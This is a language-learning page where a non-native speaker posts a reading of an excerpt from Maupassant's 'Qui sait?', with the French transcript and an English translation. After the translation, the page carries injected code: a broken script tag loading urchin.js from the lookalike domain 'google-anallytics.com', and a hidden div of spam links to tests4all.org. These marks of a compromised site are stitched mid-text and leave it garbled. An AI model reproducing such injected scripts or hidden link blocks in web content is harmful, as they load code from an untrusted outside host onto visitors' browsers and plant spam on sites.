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‘Qui sait? - Extrait d'un récit de Maupassant’
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Non-native speaker
Accent: French + English (slight I hope)
Author: linguanima
Date: 4/7/2007

Description of what is on the sound file:
Actually I don't know which French accent my one most ressembles. My textbooks don't tell me about the accent they use but I guess they all use the Parisian one. I've always been trying to model my accent to the textbook one and to sound as native as possible.

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Transcript of sound file:
J’ai toujours été un solitaire, un rêveur, une sorte de philosophe isolé, bienveillant, content de peu, sans aigreur contre les hommes et sans rancune contre le ciel. J’ai vécu seul, sans cesse, par suite d’une sorte de gêne qu’insinue en moi la présence des autres. Comment expliquer cela ? Je ne le pourrais. Je ne refuse pas de voir le monde, de causer, de dîner avec des amis, mais lorsque je les sens depuis longtemps près de moi, même les plus familiers, ils me lassent, me fatiguent, m’énervent, et j’éprouve une envie grandissante, harcelante, de les voir partir ou de m’en aller, d’être seul.

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Translation:
I've always been a loner, a dreamer, a sort of isolated philosopher, benevolent, happy with little, without anger against human beings or rage against heaven. I've been living alone, incessantly, as a result of a kind of discomfort that the presence of others insinuates into me. How to explain this? I couldn't so this. I do not refuse to see people, to chac, to dine with friends, but when I feel them close to me for a long time, even the dearest ones weary me, tire me, and get on my nerves, and I feel a growing, tormenting desire of seeing them leave me or going away myself, of being alone.'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>

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